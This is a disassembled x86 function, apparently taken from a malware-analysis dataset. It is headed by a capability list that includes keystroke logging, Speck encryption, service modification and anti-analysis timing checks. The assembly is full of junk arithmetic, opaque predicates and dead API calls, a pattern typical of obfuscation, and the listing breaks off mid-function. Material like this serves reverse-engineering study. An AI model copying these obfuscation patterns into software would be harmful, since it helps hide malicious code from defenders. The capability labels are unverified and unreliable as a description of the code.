Function at 0x46d29b
Capabilities:
Check for time delay via gettickcount
Check os version
Create directory
Encrypt data using speck
Extract resource via kernel32 functions
Get common file path
Get disk information
Get file system object information
Identify system language via api
Log keystrokes via polling
Modify service
Query environment variable
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b8e77
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x396c
call fcn.004a8510
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x3704], 0xffffffff
mov byte [ebp - 0x398], 0
movzx eax, byte [ebp - 0x398]
test eax, eax
je 0x46d2ef
push 0x7e6
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov byte [ebp - 0x28e], 0
movzx eax, byte [ebp - 0x28e]
test eax, eax
je 0x46d312
push 0
push 0
push 0x142d
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 3
lea ecx, [ebp - 0x2974]
call fcn.004312ee
mov dword [ebp - 0x3a8], 0xfffffff7
mov dword [ebp - 0x5c8], 0
jmp 0x46d342
mov eax, dword [ebp - 0x5c8]
inc eax
mov dword [ebp - 0x5c8], eax
cmp dword [ebp - 0x5c8], 3
jge 0x46d364
push dword [ebp - 0x5c8]
lea ecx, [ebp - 0x2974]
call fcn.004313dc
mov dword [eax], 6
jmp 0x46d335
mov byte [ebp - 0x290], 0
movzx eax, byte [ebp - 0x290]
test eax, eax
je 0x46d37c
call dword [sym.imp.KERNEL32.dll_GetACP]
mov dword [ebp - 0x3a8], 0
jmp 0x46d395
mov eax, dword [ebp - 0x3a8]
inc eax
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 2
jg 0x46d3c8
push dword [ebp - 0x3a8]
lea ecx, [ebp - 0x2974]
call fcn.004313dc
mov esi, eax
push dword [ebp - 0x3a8]
lea ecx, [ebp - 0x2974]
call fcn.004313dc
mov ecx, dword [esi]
mov dword [eax], ecx
jmp 0x46d388
lea ecx, [ebp - 0x2974]
call fcn.004313c0
mov dword [ebp - 0x5d0], 0xdd1e1e87
mov dword [ebp - 0x7dc], 0
jmp 0x46d3f6
mov eax, dword [ebp - 0x7dc]
inc eax
mov dword [ebp - 0x7dc], eax
cmp dword [ebp - 0x7dc], 3
jge 0x46d412
mov eax, dword [ebp - 0x7dc]
mov dword [ebp + eax*4 - 0x3934], 1
jmp 0x46d3e9
mov dword [ebp - 0x5d0], 0
jmp 0x46d42b
mov eax, dword [ebp - 0x5d0]
inc eax
mov dword [ebp - 0x5d0], eax
cmp dword [ebp - 0x5d0], 2
jg 0x46d460
mov byte [ebp - 0x292], 0
movzx eax, byte [ebp - 0x292]
test eax, eax
je 0x46d45e
push 0xaf6
push 0
push 0
push 0
push 0x69f
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
jmp 0x46d41e
mov byte [ebp - 0x294], 0
movzx eax, byte [ebp - 0x294]
test eax, eax
je 0x46d478
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x3710], 0xffffffff
push 3
lea ecx, [ebp - 0x298c]
call fcn.004312ee
mov dword [ebp - 0x5c], 3
mov dword [ebp - 0xa48], 0x369bd69
mov dword [ebp - 0x2380], 0x8589
mov dword [ebp - 0x249c], 0x3c3d
mov dword [ebp - 0x3118], 1
mov dword [ebp - 0x108], 0
jmp 0x46d4d7
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 3
jge 0x46d4f9
push dword [ebp - 0x108]
lea ecx, [ebp - 0x298c]
call fcn.004313dc
mov dword [eax], 5
jmp 0x46d4ca
mov dword [ebp - 0x108], 0
jmp 0x46d512
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 2
jge 0x46d52e
mov eax, dword [ebp - 0x108]
mov dword [ebp + eax*4 - 0x3508], 0xd743ccc0
jmp 0x46d505
mov dword [ebp - 0x5c], 2
jmp 0x46d53e
mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jl 0x46d60f
mov dword [ebp - 0x248], 0xc3ad3b31
mov dword [ebp - 0x248], 2
jmp 0x46d56b
mov eax, dword [ebp - 0x248]
dec eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0
jl 0x46d5ca
mov dword [ebp - 0x7d8], 0xd11d962e
mov dword [ebp - 0x7d8], 2
jmp 0x46d597
mov eax, dword [ebp - 0x7d8]
dec eax
mov dword [ebp - 0x7d8], eax
cmp dword [ebp - 0x7d8], 0
jl 0x46d5be
mov byte [ebp - 0x296], 0
movzx eax, byte [ebp - 0x296]
test eax, eax
je 0x46d5bc
push 0
push 0
call dword [sym.imp.USER32.dll_CopyRect]
jmp 0x46d58a
mov dword [ebp - 0xa48], 0xfffffff8
jmp 0x46d55e
mov dword [ebp - 0x248], 2
jmp 0x46d5e3
mov eax, dword [ebp - 0x248]
dec eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0
jl 0x46d60a
mov byte [ebp - 0x298], 0
movzx eax, byte [ebp - 0x298]
test eax, eax
je 0x46d608
push 0
push 0
call dword [sym.imp.USER32.dll_CopyRect]
jmp 0x46d5d6
jmp 0x46d537
mov eax, dword [ebp - 0x2380]
mov dword [ebp - 0xa48], eax
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0xa48], eax
jg 0x46d632
mov dword [ebp - 0x1fec], 1
jmp 0x46d639
and dword [ebp - 0x1fec], 0
push 0
lea ecx, [ebp - 0x298c]
call fcn.004313dc
mov ecx, dword [ebp - 0x5c]
cmp dword [eax], ecx
jg 0x46d659
mov dword [ebp - 0x1778], 1
jmp 0x46d660
and dword [ebp - 0x1778], 0
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x249c]
imul ecx, dword [ebp - 0x1778]
add ecx, dword [ebp - 0x5c]
add eax, ecx
cmp eax, dword [ebp - 0x5c]
jge 0x46d686
mov dword [ebp - 0x24a4], 1
jmp 0x46d68d
and dword [ebp - 0x24a4], 0
mov esi, dword [ebp - 0x5c]
push 0
lea ecx, [ebp - 0x298c]
call fcn.004313dc
cmp esi, dword [eax]
jle 0x46d6ad
mov dword [ebp - 0x1fe4], 1
jmp 0x46d6b4
and dword [ebp - 0x1fe4], 0
mov eax, dword [ebp - 0x1fe4]
add eax, 0xffff
cmp dword [ebp - 0x1fec], eax
jle 0x46d6d3
mov dword [ebp - 0x1ff4], 1
jmp 0x46d6da
and dword [ebp - 0x1ff4], 0
mov eax, dword [ebp - 0x1ff4]
mov dword [ebp - 0x5c], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x5c]
mov dword [ebp + eax - 0x3508], ecx
lea ecx, [ebp - 0x298c]
call fcn.004313c0
mov dword [ebp - 0x958], 0x69fdf99f
mov dword [ebp - 0x1ffc], 0x292c5eb2
mov dword [ebp - 0x24ac], 0xe08a1101
mov dword [ebp - 0x5d8], 0
jmp 0x46d735
mov eax, dword [ebp - 0x5d8]
inc eax
mov dword [ebp - 0x5d8], eax
cmp dword [ebp - 0x5d8], 3
jge 0x46d751
mov eax, dword [ebp - 0x5d8]
mov dword [ebp + eax*4 - 0x3760], 0x95364446
jmp 0x46d728
mov dword [ebp - 0x958], 0x1c
jmp 0x46d76a
mov eax, dword [ebp - 0x958]
dec eax
mov dword [ebp - 0x958], eax
cmp dword [ebp - 0x958], 2
jle 0x46d7ff
mov dword [ebp - 0x5e0], 5
mov dword [ebp - 0x5e0], 2
jmp 0x46d79a
mov eax, dword [ebp - 0x5e0]
dec eax
mov dword [ebp - 0x5e0], eax
cmp dword [ebp - 0x5e0], 0
jl 0x46d7e4
mov dword [ebp - 0x488], 5
mov dword [ebp - 0x488], 0
jmp 0x46d7c6
mov eax, dword [ebp - 0x488]
inc eax
mov dword [ebp - 0x488], eax
cmp dword [ebp - 0x488], 3
jge 0x46d7e2
mov eax, dword [ebp - 0x488]
mov dword [ebp + eax*4 - 0x3760], 0xffffffff
jmp 0x46d7b9
jmp 0x46d78d
mov dword [ebp - 0x1ffc], 0x4f094650
mov eax, dword [ebp - 0x1ffc]
mov dword [ebp - 0x24ac], eax
jmp 0x46d75d
mov byte [ebp - 0x29a], 0
mov dword [ebp - 0x2004], 0xb0f73838
mov dword [ebp - 0x7e0], 0x964a53aa
mov dword [ebp - 0x200c], 0
mov dword [ebp - 0x2014], 0x9d089051
push 3
lea ecx, [ebp - 0x2dd4]
call fcn.004312ee
mov dword [ebp - 0x2044], 0xfffffff6
mov dword [ebp - 0x24b4], 0xaa05
mov dword [ebp - 0xf8], 0
jmp 0x46d868
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 3
jge 0x46d884
mov eax, dword [ebp - 0xf8]
mov dword [ebp + eax*4 - 0x2ec4], 1
jmp 0x46d85b
mov dword [ebp - 0xf8], 0
jmp 0x46d89d
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 3
jge 0x46d8bf
push dword [ebp - 0xf8]
lea ecx, [ebp - 0x2dd4]
call fcn.004313dc
mov dword [eax], 0xfffffff7
jmp 0x46d890
mov eax, dword [ebp - 0x2004]
mov dword [ebp - 0x7e0], eax
mov eax, dword [ebp - 0x2004]
cmp dword [ebp - 0x7e0], eax
jne 0x46d8e5
mov dword [ebp - 0x204c], 1
jmp 0x46d8ec
and dword [ebp - 0x204c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2ec4]
cmp dword [ebp - 0x7e0], eax
jne 0x46d90d
mov dword [ebp - 0x201c], 1
jmp 0x46d914
and dword [ebp - 0x201c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2ec4]
mov dword [ebp - 0x200c], eax
mov eax, dword [ebp - 0x200c]
mov dword [ebp - 0x2014], eax
mov eax, dword [ebp - 0x2014]
cmp dword [ebp - 0x201c], eax
je 0x46d94d
mov dword [ebp - 0x2024], 1
jmp 0x46d954
and dword [ebp - 0x2024], 0
push 1
lea ecx, [ebp - 0x2dd4]
call fcn.004313dc
mov ecx, dword [ebp - 0x2024]
sub ecx, dword [eax]
cmp ecx, dword [ebp - 0x7e0]
jle 0x46d97d
mov dword [ebp - 0x202c], 1
jmp 0x46d984
and dword [ebp - 0x202c], 0
cmp dword [ebp - 0x202c], 0xffffffff
je 0x46d999
mov dword [ebp - 0x2034], 1
jmp 0x46d9a0
and dword [ebp - 0x2034], 0
cmp dword [ebp - 0x2034], 1
jl 0x46d9b5
mov dword [ebp - 0x203c], 1
jmp 0x46d9bc
and dword [ebp - 0x203c], 0
mov eax, dword [ebp - 0x203c]
mov dword [ebp - 0x2044], eax
mov eax, dword [ebp - 0x2044]
cmp dword [ebp - 0x204c], eax
jl 0x46d9ef
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2ec4], 0
jne 0x46d9ef
and dword [ebp - 0x2054], 0
jmp 0x46d9f9
mov dword [ebp - 0x2054], 1
cmp dword [ebp - 0x2054], 0x850270f9
jne 0x46da11
mov dword [ebp - 0x205c], 1
jmp 0x46da18
and dword [ebp - 0x205c], 0
mov eax, dword [ebp - 0x205c]
mov dword [ebp - 0x24b4], eax
lea ecx, [ebp - 0x2dd4]
call fcn.004313c0
movzx eax, byte [ebp - 0x29a]
test eax, eax
je 0x46df1d
mov dword [ebp - 0x40], 0xc68ec0ae
mov dword [ebp - 0x208], 1
mov dword [ebp - 0x3484], 0x6d91
mov dword [ebp - 0x40], 9
jmp 0x46da69
mov eax, dword [ebp - 0x40]
dec eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 7
jne 0x46da8b
mov byte [ebp - 0x29c], 0
movzx eax, byte [ebp - 0x29c]
test eax, eax
je 0x46da89
push 0
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
jmp 0x46da62
mov dword [ebp - 0x208], 0xfffffff7
mov eax, dword [ebp - 0x208]
cmp dword [ebp - 0x40], eax
jge 0x46daac
mov dword [ebp - 0x2064], 1
jmp 0x46dab3
and dword [ebp - 0x2064], 0
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x2064]
je 0x46daca
mov dword [ebp - 0x2074], 1
jmp 0x46dad1
and dword [ebp - 0x2074], 0
cmp dword [ebp - 0x40], 0xfffffffa
jle 0x46dae3
mov dword [ebp - 0x206c], 1
jmp 0x46daea
and dword [ebp - 0x206c], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x206c], eax
jl 0x46db01
mov dword [ebp - 0x207c], 1
jmp 0x46db08
and dword [ebp - 0x207c], 0
mov eax, dword [ebp - 0x2074]
imul eax, dword [ebp - 0x207c]
test eax, eax
je 0x46dd6d
mov dword [ebp - 0x2b4], 0x9a275ff4
mov dword [ebp - 0x2084], 7
mov dword [ebp - 0x5e8], 0xe44fa3fd
mov dword [ebp - 0x8e0], 0xef407293
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x2b4], eax
jg 0x46db5c
mov dword [ebp - 0x20a4], 1
jmp 0x46db63
and dword [ebp - 0x20a4], 0
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x2084], eax
mov eax, dword [ebp - 0x2084]
mov dword [ebp - 0x5e8], eax
cmp dword [ebp - 0x5e8], 0
je 0x46db96
cmp dword [ebp - 0x5e8], 0
je 0x46db96
mov dword [ebp - 0x208c], 1
jmp 0x46db9d
and dword [ebp - 0x208c], 0
mov eax, dword [ebp - 0x208]
cmp eax, dword [ebp - 0x208c]
jg 0x46dbb7
mov dword [ebp - 0x2094], 1
jmp 0x46dbbe
and dword [ebp - 0x2094], 0
cmp dword [ebp - 0x2094], 0
jl 0x46dbd3
mov dword [ebp - 0x209c], 1
jmp 0x46dbda
and dword [ebp - 0x209c], 0
mov eax, dword [ebp - 0x2b4]
cmp dword [ebp - 0x209c], eax
jle 0x46dbfb
push 0xfffffffffffffffa
pop eax
test eax, eax
je 0x46dbfb
mov dword [ebp - 0x20ac], 1
jmp 0x46dc02
and dword [ebp - 0x20ac], 0
mov eax, dword [ebp - 0x20a4]
cmp eax, dword [ebp - 0x20ac]
jg 0x46dc1c
mov dword [ebp - 0x24bc], 1
jmp 0x46dc23
and dword [ebp - 0x24bc], 0
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x3120], eax
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x3640], eax
mov eax, dword [ebp - 0x2b4]
mov dword [ebp - 0x3128], eax
cmp dword [ebp - 0x2b4], 0xafe2499e
jne 0x46dc5c
mov dword [ebp - 0x20b4], 1
jmp 0x46dc63
and dword [ebp - 0x20b4], 0
mov eax, dword [ebp - 0x20b4]
sub eax, dword [ebp - 0x208]
cmp eax, dword [ebp - 0x40]
je 0x46dc80
mov dword [ebp - 0x20bc], 1
jmp 0x46dc87
and dword [ebp - 0x20bc], 0
imul eax, dword [ebp - 0x20bc], 0x8bbe
add eax, dword [ebp - 0x2b4]
cmp eax, dword [ebp - 0x2b4]
jle 0x46dcab
mov dword [ebp - 0x2154], 1
jmp 0x46dcb2
and dword [ebp - 0x2154], 0
mov eax, dword [ebp - 0x2154]
sub eax, dword [ebp - 0x2b4]
je 0x46dcd5
cmp dword [ebp - 0x5e8], 0
je 0x46dcd5
mov dword [ebp - 0x2030], 1
jmp 0x46dcdc
and dword [ebp - 0x2030], 0
mov eax, dword [ebp - 0x8e0]
cmp dword [ebp - 0x2030], eax
jge 0x46dcf6
mov dword [ebp - 0xd38], 1
jmp 0x46dcfd
and dword [ebp - 0xd38], 0
cmp dword [ebp - 0xd38], 0xc840
jne 0x46dd15
mov dword [ebp - 0x24c4], 1
jmp 0x46dd1c
and dword [ebp - 0x24c4], 0
mov eax, dword [ebp - 0x8e0]
mov dword [ebp - 0x3494], eax
mov eax, dword [ebp - 0x8e0]
mov dword [ebp - 0x3130], eax
mov eax, 0x59af2c67
test eax, eax
jne 0x46dd4f
mov eax, 0x5534fd39
test eax, eax
jne 0x46dd4f
and dword [ebp - 0x1b3c], 0
jmp 0x46dd59
mov dword [ebp - 0x1b3c], 1
mov eax, dword [ebp - 0x1b3c]
sub eax, dword [ebp - 0x8e0]
mov dword [ebp - 0x40], eax
jmp 0x46df0e
push 1
lea ecx, [ebp - 0x2e7c]
call fcn.004312ee
mov dword [ebp - 0x5f0], 0
jmp 0x46dd93
mov eax, dword [ebp - 0x5f0]
inc eax
mov dword [ebp - 0x5f0], eax
cmp dword [ebp - 0x5f0], 1
jge 0x46ddb2
push dword [ebp - 0x5f0]
lea ecx, [ebp - 0x2e7c]
call fcn.004313dc
and dword [eax], 0
jmp 0x46dd86
mov dword [ebp - 0x208], 0xffffffed
jmp 0x46ddcb
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0x12
je 0x46ded2
mov dword [ebp - 0x484], 0xffffffff
mov dword [ebp - 0x24cc], 0
mov dword [ebp - 0x434], 0xbab92a1d
cmp dword [ebp - 0x484], 0
je 0x46de04
jmp 0x46ded2
mov dword [ebp - 0x484], 0
jmp 0x46de1d
mov eax, dword [ebp - 0x484]
dec eax
mov dword [ebp - 0x484], eax
cmp dword [ebp - 0x484], 0xfffffff9
jg 0x46decd
mov dword [ebp - 0xd40], 0xae22
mov dword [ebp - 0x24d4], 0xfffffffe
mov dword [ebp - 0xd40], 0xae77629
cmp dword [ebp - 0xd40], 0x1501494d
jle 0x46de60
mov dword [ebp - 0x1b44], 1
jmp 0x46de67
and dword [ebp - 0x1b44], 0
mov eax, dword [ebp - 0x24cc]
add eax, dword [ebp - 0x1b44]
mov dword [ebp - 0x434], eax
mov eax, dword [ebp - 0x434]
mov dword [ebp - 0x24d4], eax
mov dword [ebp - 0x434], 0
jmp 0x46de9e
mov eax, dword [ebp - 0x434]
dec eax
mov dword [ebp - 0x434], eax
cmp dword [ebp - 0x434], 0xfffffffb
jle 0x46dec8
mov dword [ebp - 0xd48], 0x51c18cc9
mov eax, dword [ebp - 0xd48]
inc eax
mov dword [ebp - 0xd48], eax
cmp dword [ebp - 0x40], 0
je 0x46dec6
jmp 0x46dec8
jmp 0x46de91
jmp 0x46de10
jmp 0x46ddbe
cmp dword [ebp - 0x40], 0xbfe2
jl 0x46dee7
mov dword [ebp - 0x1b4c], 1
jmp 0x46deee
and dword [ebp - 0x1b4c], 0
push 0
lea ecx, [ebp - 0x2e7c]
call fcn.004313dc
mov ecx, dword [ebp - 0x1b4c]
mov dword [eax], ecx
lea ecx, [ebp - 0x2e7c]
call fcn.004313c0
push 0x7e6
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov dword [ebp - 0x5f8], 0xc85f70ad
mov dword [ebp - 0x36cc], 0
mov dword [ebp - 0x3138], 0xd6364d64
mov dword [ebp - 0x7e8], 0
jmp 0x46df54
mov eax, dword [ebp - 0x7e8]
inc eax
mov dword [ebp - 0x7e8], eax
cmp dword [ebp - 0x7e8], 3
jge 0x46df70
mov eax, dword [ebp - 0x7e8]
mov dword [ebp + eax*4 - 0x3910], 9
jmp 0x46df47
mov dword [ebp - 0x5f8], 0
jmp 0x46df89
mov eax, dword [ebp - 0x5f8]
dec eax
mov dword [ebp - 0x5f8], eax
cmp dword [ebp - 0x5f8], 0xffffffe5
jle 0x46e04b
mov dword [ebp - 0x34a4], 0xffab8c3a
mov dword [ebp - 0x3140], 0xc58fb770
mov dword [ebp - 0xd50], 0
mov dword [ebp - 0x110], 0
jmp 0x46dfcd
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 4
jge 0x46dfe9
mov eax, dword [ebp - 0x110]
mov dword [ebp + eax*4 - 0x397c], 0xffffffff
jmp 0x46dfc0
mov dword [ebp - 0x110], 0
jmp 0x46e002
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 3
jge 0x46e01e
mov eax, dword [ebp - 0x110]
mov dword [ebp + eax*4 - 0x32a0], 1
jmp 0x46dff5
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x32a0]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x32a0], eax
mov eax, dword [ebp - 0xd50]
inc eax
mov dword [ebp - 0xd50], eax
jmp 0x46df7c
mov dword [ebp - 0x78], 0xffffffff
mov dword [ebp - 0x78], 0xffffffe2
jmp 0x46e062
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xfffffff8
jne 0x46e18b
mov dword [ebp - 0x1b54], 0x810d21df
mov dword [ebp - 0xb78], 0x187110e6
mov dword [ebp - 0x1b54], 0xffff
cmp dword [ebp - 0x1b54], 2
jg 0x46e09f
mov dword [ebp - 0x1b64], 1
jmp 0x46e0a6
and dword [ebp - 0x1b64], 0
cmp dword [ebp - 0xb78], 0
jle 0x46e0b4
or eax, 0xffffffff
jne 0x46e0c3
cmp dword [ebp - 0x78], 0
jne 0x46e0c3
and dword [ebp - 0xd58], 0
jmp 0x46e0cd
mov dword [ebp - 0xd58], 1
mov eax, dword [ebp - 0xd58]
add eax, 3
cmp dword [ebp - 0x78], eax
jl 0x46e0e7
mov dword [ebp - 0x1b5c], 1
jmp 0x46e0ee
and dword [ebp - 0x1b5c], 0
mov eax, dword [ebp - 0x78]
cmp dword [ebp - 0x1b5c], eax
je 0x46e105
mov dword [ebp - 0xd60], 1
jmp 0x46e10c
and dword [ebp - 0xd60], 0
cmp dword [ebp - 0xd60], 0x2a67
jg 0x46e124
mov dword [ebp - 0x2564], 1
jmp 0x46e12b
and dword [ebp - 0x2564], 0
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x3648], eax
cmp dword [ebp - 0xb78], 0xffffffff
jbe 0x46e14a
xor eax, eax
jne 0x46e14a
and dword [ebp - 0xd68], 0
jmp 0x46e154
mov dword [ebp - 0xd68], 1
mov eax, dword [ebp - 0x1b64]
sub eax, dword [ebp - 0xd68]
cmp eax, 0xb382
jle 0x46e173
mov dword [ebp - 0x1b6c], 1
jmp 0x46e17a
and dword [ebp - 0x1b6c], 0
mov eax, dword [ebp - 0x1b6c]
mov dword [ebp - 0xb78], eax
jmp 0x46e05b
mov dword [ebp - 0x78], 0
jmp 0x46e19b
mov eax, dword [ebp - 0x78]
dec eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffee
jne 0x46e1d9
mov dword [ebp - 0x256c], 0x1bb000e2
cmp dword [ebp - 0x256c], 0
je 0x46e1b6
jmp 0x46e1d9
mov byte [ebp - 0x29e], 0
movzx eax, byte [ebp - 0x29e]
test eax, eax
je 0x46e1d7
push 0x2c
push 0x13b1
push 0
call dword [sym.imp.GDI32.dll_CreatePolygonRgn]
jmp 0x46e194
mov byte [ebp - 0x2a0], 0
movzx eax, byte [ebp - 0x2a0]
test eax, eax
je 0x46e71d
mov dword [ebp - 0x3148], 0xfffffff8
mov dword [ebp - 0x544], 0xa420452a
mov dword [ebp - 0x3b4], 5
mov dword [ebp - 0x504], 0xffffffff
mov dword [ebp - 0x64], 0xfffffffa
mov dword [ebp - 0x34b4], 0x7c1d6b3b
mov dword [ebp - 0x3150], 0x17d0b0a3
mov dword [ebp - 0x998], 0x45ba13b2
mov dword [ebp - 0x98], 0xd5d70512
push 1
lea ecx, [ebp - 0xd08]
call fcn.004312ee
mov dword [ebp - 0x600], 0xdbc9
mov dword [ebp - 0x48c], 0xfffffffb
mov dword [ebp - 0x1ec], 0
jmp 0x46e280
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 2
jge 0x46e29c
mov eax, dword [ebp - 0x1ec]
mov dword [ebp + eax*4 - 0x223c], 1
jmp 0x46e273
mov dword [ebp - 0x1ec], 0
jmp 0x46e2b5
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 1
jge 0x46e2d7
push dword [ebp - 0x1ec]
lea ecx, [ebp - 0xd08]
call fcn.004313dc
mov dword [eax], 0xccfd66c4
jmp 0x46e2a8
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x223c]
cmp dword [ebp + eax - 0x223c], ecx
jle 0x46e2ff
mov dword [ebp - 0x2574], 1
jmp 0x46e306
and dword [ebp - 0x2574], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x223c]
cmp dword [ebp + eax - 0x223c], ecx
je 0x46e32e
mov dword [ebp - 0xd70], 1
jmp 0x46e335
and dword [ebp - 0xd70], 0
mov eax, dword [ebp - 0x600]
mov dword [ebp - 0x257c], eax
mov eax, dword [ebp - 0x600]
inc eax
mov dword [ebp - 0x600], eax
cmp dword [ebp - 0x257c], 1
jg 0x46e363
mov dword [ebp - 0x1b74], 1
jmp 0x46e36a
and dword [ebp - 0x1b74], 0
mov eax, dword [ebp - 0xd70]
imul eax, dword [ebp - 0x1b74]
test eax, eax
je 0x46e387
mov dword [ebp - 0xd78], 1
jmp 0x46e38e
and dword [ebp - 0xd78], 0
mov eax, dword [ebp - 0xd78]
sub eax, dword [ebp - 0x48c]
cmp eax, dword [ebp - 0x98]
jge 0x46e3ae
mov dword [ebp - 0x2584], 1
jmp 0x46e3b5
and dword [ebp - 0x2584], 0
mov eax, dword [ebp - 0x504]
add eax, dword [ebp - 0x98]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x64], 0
jmp 0x46e3d4
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jg 0x46e701
mov dword [ebp - 0x2bc], 0x1788
mov dword [ebp - 0x544], 0
jmp 0x46e401
mov eax, dword [ebp - 0x544]
dec eax
mov dword [ebp - 0x544], eax
cmp dword [ebp - 0x544], 0
jl 0x46e4ae
mov dword [ebp - 0x998], 0
jmp 0x46e427
mov eax, dword [ebp - 0x998]
inc eax
mov dword [ebp - 0x998], eax
cmp dword [ebp - 0x998], 0
jg 0x46e46b
mov dword [ebp - 0x98], 0
jmp 0x46e449
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0
jg 0x46e469
push dword [ebp - 0x64]
lea ecx, [ebp - 0xd08]
call fcn.004313dc
cmp dword [eax], 0
je 0x46e467
jmp 0x46e469
jmp 0x46e43c
jmp 0x46e41a
mov dword [ebp - 0x504], 0
jmp 0x46e484
mov eax, dword [ebp - 0x504]
dec eax
mov dword [ebp - 0x504], eax
cmp dword [ebp - 0x504], 0
jl 0x46e4a9
mov byte [ebp - 0x2a2], 0
movzx eax, byte [ebp - 0x2a2]
test eax, eax
je 0x46e4a7
push 0
call dword [sym.imp.USER32.dll_CharUpperW]
jmp 0x46e477
jmp 0x46e3f4
mov dword [ebp - 0x48c], 0
jmp 0x46e4c7
mov eax, dword [ebp - 0x48c]
dec eax
mov dword [ebp - 0x48c], eax
cmp dword [ebp - 0x48c], 0
jl 0x46e512
mov dword [ebp - 0x3b4], 0
jmp 0x46e4e9
mov eax, dword [ebp - 0x3b4]
inc eax
mov dword [ebp - 0x3b4], eax
cmp dword [ebp - 0x3b4], 0
jg 0x46e510
mov byte [ebp - 0x2a4], 0
movzx eax, byte [ebp - 0x2a4]
test eax, eax
je 0x46e50e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
jmp 0x46e4dc
jmp 0x46e4ba
mov dword [ebp - 0x98], 0
jmp 0x46e52b
mov eax, dword [ebp - 0x98]
dec eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0
jl 0x46e6fc
mov dword [ebp - 0x1b7c], 0xffffffff
cmp dword [ebp - 0x1b7c], 0
je 0x46e611
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0x3750], eax
push dword [ebp - 0x64]
lea ecx, [ebp - 0xd08]
call fcn.004313dc
cmp dword [eax], 0
jne 0x46e57c
or eax, 0xffffffff
jne 0x46e57c
and dword [ebp - 0xd80], 0
jmp 0x46e586
mov dword [ebp - 0xd80], 1
mov eax, dword [ebp - 0x1b7c]
cmp dword [ebp - 0xd80], eax
jne 0x46e5a0
mov dword [ebp - 0x1b84], 1
jmp 0x46e5a7
and dword [ebp - 0x1b84], 0
mov eax, dword [ebp - 0x1b84]
mov dword [ebp - 0x3b4], eax
mov eax, dword [ebp - 0x3b4]
mov dword [ebp - 0x3158], eax
push dword [ebp - 0x64]
lea ecx, [ebp - 0xd08]
call fcn.004313dc
push dword [ebp - 0x64]
lea ecx, [ebp - 0xd08]
call fcn.004313dc
imul eax, dword [eax], 0xd6f6
test eax, eax
jne 0x46e5ee
cmp dword [ebp - 0x2bc], 0
je 0x46e5fc
push dword [ebp - 0x64]
lea ecx, [ebp - 0xd08]
call fcn.004313dc
mov eax, 0x3772
test eax, eax
je 0x46e611
mov dword [ebp - 0x258c], 1
jmp 0x46e618
and dword [ebp - 0x258c], 0
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0x34c4], eax
cmp dword [ebp - 0x2bc], 0xedfc
jle 0x46e63c
mov dword [ebp - 0x2594], 1
jmp 0x46e643
and dword [ebp - 0x2594], 0
push dword [ebp - 0x64]
lea ecx, [ebp - 0xd08]
call fcn.004313dc
push dword [ebp - 0x64]
lea ecx, [ebp - 0xd08]
call fcn.004313dc
mov eax, 0xe0bb6923
